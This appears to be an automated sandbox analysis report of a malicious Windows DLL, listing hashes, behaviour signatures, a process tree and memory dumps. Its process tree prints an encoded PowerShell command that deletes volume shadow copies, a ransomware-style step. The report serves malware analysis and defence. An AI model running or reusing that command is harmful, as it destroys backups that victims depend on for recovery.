Analysis

  • max time kernel
    118s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    30-01-2022 07:55

General

  • Target

    28eb94bb288256d1debf8ee01c29144fc9615d2b83c46de98b4509f74de55145.dll

  • Size

    166KB

  • MD5

    95eedf3ace7932071bcb28e3a2780ad1

  • SHA1

    0248d45fe4261ffd157c60b130b5935d731edaa7

  • SHA256

    28eb94bb288256d1debf8ee01c29144fc9615d2b83c46de98b4509f74de55145

  • SHA512

    cba0e857421b93b39ad6b0efc19609fc880d8c45f743a77e969f51dd1362d4bb8d8d6af56073675e033e77073d2a54ad64929001712d7dcb0b96a83940a06126

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\28eb94bb288256d1debf8ee01c29144fc9615d2b83c46de98b4509f74de55145.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1520
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\28eb94bb288256d1debf8ee01c29144fc9615d2b83c46de98b4509f74de55145.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1680
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:708
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1552

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/708-55-0x000007FEFC3C1000-0x000007FEFC3C3000-memory.dmp

    Filesize

    8KB

  • memory/708-58-0x0000000002552000-0x0000000002554000-memory.dmp

    Filesize

    8KB

  • memory/708-59-0x0000000002554000-0x0000000002557000-memory.dmp

    Filesize

    12KB

  • memory/708-57-0x0000000002550000-0x0000000002552000-memory.dmp

    Filesize

    8KB

  • memory/708-56-0x000007FEF3790000-0x000007FEF42ED000-memory.dmp

    Filesize

    11.4MB

  • memory/708-60-0x000000001B710000-0x000000001BA0F000-memory.dmp

    Filesize

    3.0MB

  • memory/708-61-0x000000000255B000-0x000000000257A000-memory.dmp

    Filesize

    124KB

  • memory/1680-54-0x00000000766D1000-0x00000000766D3000-memory.dmp

    Filesize

    8KB